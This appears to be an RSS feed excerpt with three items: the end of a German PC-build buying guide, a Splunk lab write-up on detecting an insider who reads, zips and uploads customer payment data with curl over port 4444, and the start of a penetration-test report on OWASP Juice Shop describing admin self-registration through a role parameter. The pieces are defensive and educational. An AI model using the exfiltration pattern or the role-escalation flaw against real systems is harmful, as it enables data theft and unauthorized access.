<li><strong>Arbeitsspeicher (RAM):</strong> 16 GB DDR4-3200 (z.B. <a href="https://www.amazon.de/dp/B0957TXNJ3?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Memory Viper Elite II DDR4 2x8GB, CL18</a>). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.</li>



<li><strong>Speicherplatz:</strong> 500 GB PCIe 4.0 NVMe SSD (z.B. <a href="http://www.amazon.de/dp/B0DC8K6KQD?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial P310 SSD 500GB M.2 NVMe</a>). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur <a href="http://www.amazon.de/dp/B0DC8VPSHV?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">1-TB-Variante</a> greifen.</li>



<li><strong>Gehäuse:</strong> Das <a href="https://www.amazon.de/dp/B0B4X9FMQS?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Montech Air 100</a> ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.</li>



<li><strong>Netzteil:</strong> Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum <a href="https://www.amazon.de/dp/B0F5X4JR6T?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! System Power 11 450W</a> greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 2: Casual-Gaming und Videoschnitt-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e87763cc6"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/ASUS-Prime-GeForce-RTX-5060-8GB-GDDR7-OC-Edition-Gaming.jpg?quality=50&amp;strip=all&amp;w=1117" alt="ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming" class="wp-image-3173126" width="1117" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nötige Leistung für 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding für Streaming und Videoschnitt.</figcaption></figure><p class="imageCredit">Asus</p></div>



<p>Wer aktuelle Spiele flüssig genießen oder mit <a href="https://adobe.prf.hn/click/camref:1101lr4vb/pubref:rss/destination:https://www.adobe.com/de/products/premiere.html" target="_blank" rel="noreferrer noopener">Adobe Premiere</a> und <a href="https://www.blackmagicdesign.com/de/products/davinciresolve" target="_blank" rel="noreferrer noopener">DaVinci Resolve</a> kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong>: Der <a href="https://www.amazon.de/dp/B0DFK8HHK4?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Intel Core Ultra 5 245KF</a> bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.</li>



<li><strong>Alternative</strong>: Der <a href="https://www.amazon.de/dp/B0D6NMDNNX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">AMD Ryzen 7 9700X</a> ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> Das <a href="http://www.amazon.de/dp/B0DJDFKV2J?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus TUF Gaming Z890-Plus</a> (für Intel) oder das <a href="https://www.amazon.de/dp/B0BDS873GF?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI MAG B650 Tomahawk WiFi</a> (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5060 mit 8 GB (z.B. <a href="https://www.amazon.de/dp/B0CSFMYN1W?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime GeForce RTX 5060 8GB OC Edition</a>). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum <a href="https://www.amazon.de/dp/B0F4DVXKKX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Ti-Modell</a> greifen (+ 80 Euro).</li>



<li><strong>Preis-Alternative</strong><em>:</em> AMD Radeon RX 9060 XT mit 8 GB (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/gigabyte+radeon+rx+9060+xt+8gb+gaming+grafikkarte+neu+913965" target="_blank" rel="noreferrer noopener">Gigabyte Radeon RX 9060 XT 8GB</a>). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 TB PCIe 4.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0B7CKZGN6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">WD_BLACK SN850X NVMe SSD</a>). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.</li>



<li><strong>Gehäuse:</strong> <a href="https://www.amazon.de/dp/B0CJCJ3ZZB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Fractal Design North XL</a> – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.</li>



<li><strong>Netzteil:</strong> 750 Watt ATX 3.1 (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/seasonic+focus+gx+750+atx+31+white+pc+netzteil+863558" target="_blank" rel="noreferrer noopener">Seasonic Focus GX ATX 3.1</a>) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 3: High-End-System für Gaming und Content Creation</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877646bb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Gigabyte-AORUS-GeForce-RTX-5090-Master-32G-Grafikkarte.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte" class="wp-image-3173131" width="1200" height="1032" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Für einen High-End-PC setzen wir auf üppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.</figcaption></figure><p class="imageCredit">Gigabyte </p></div>



<p>Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. <strong>Hinweis:</strong> Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x3d+prozessor+878500" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X3D</a><strong> </strong>– Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.</li>



<li><strong>Günstigere Alternative:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x+prozessor+856963" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X</a> – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B09CD4WSR6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus ROG Strix X870E-E Gaming</a> – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum <a href="https://www.amazon.de/dp/B0BT86XVCB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">64-GB-Kit</a> und muss den Preissprung zwangsläufig hinnehmen.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5080 mit 16 GB (z.B. <a href="https://www.amazon.de/dp/B0BSLJK16Z?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI GeForce RTX 5080 16GB GDDR7</a>) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.</li>



<li><strong>Highend-Alternative</strong><em>:</em> Nvidia GeForce RTX 5090 mit 32 GB (z.B. <a href="https://www.amazon.de/dp/B0DT9YQR11?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7</a>). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0F9XP15XL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0</a>) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.</li>



<li><strong>Gehäuse:</strong><br><ul><li><strong>Standard:</strong> <a href="https://www.amazon.de/dp/B0C592W24R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Shadow Base 800 FX Black</a> – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.</li></ul>
<ul class="wp-block-list">
<li><strong>Design-Alternative:</strong> <a href="http://www.amazon.de/dp/B0CGM5HJM8?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Lian Li O11 Dynamic EVO XL</a> – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.</li>
</ul>
</li>



<li><strong>Netzteil:</strong> 1000 Watt ATX 3.1 (z.B. <a href="https://www.amazon.de/dp/B0BPSWXKSB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair RMx Shift</a> oder <a href="http://www.amazon.de/dp/B0C86H1MM9?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Straight Power 12</a>). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.</li>
</ul>



<h2 class="wp-block-heading">Ihre Kauf-Checkliste für 2026</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877654fd"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/01/OnlineShopping.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Mann kauft online ein mit Kreditkarte und Handy" class="wp-image-2577525" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Anucha Tiemsom/Shutterstock.com</p></div>



<p>Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:</p>



<ul class="wp-block-list">
<li><strong>Airflow bei Gaming-Systemen beachten: </strong>Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.</li>



<li><strong>HDD stirbt langsam aus:</strong> Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.</li>



<li><strong>Netzteil-Standards beachten:</strong> Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue <strong>ATX-3.1</strong>-Zertifizierung.</li>



<li><strong>RAM-Sweetspot treffen:</strong> Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.</li>



<li><strong>Mainboard-Features geschickt wählen:</strong> Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.</li>



<li><strong>Kühlung richtig dimensionieren:</strong> Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.</li>
</ul>



<h2 class="wp-block-heading">Fazit: Clever kaufen trotz Krise</h2>



<p>Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt <strong>spürbar verzerrt</strong> und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.</p>



<p>Die Devise lautet deshalb: <strong>Priorisieren statt Verzweifeln.</strong> Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.</p>



<p></p>

</div>]]></content:encoded>
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<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS 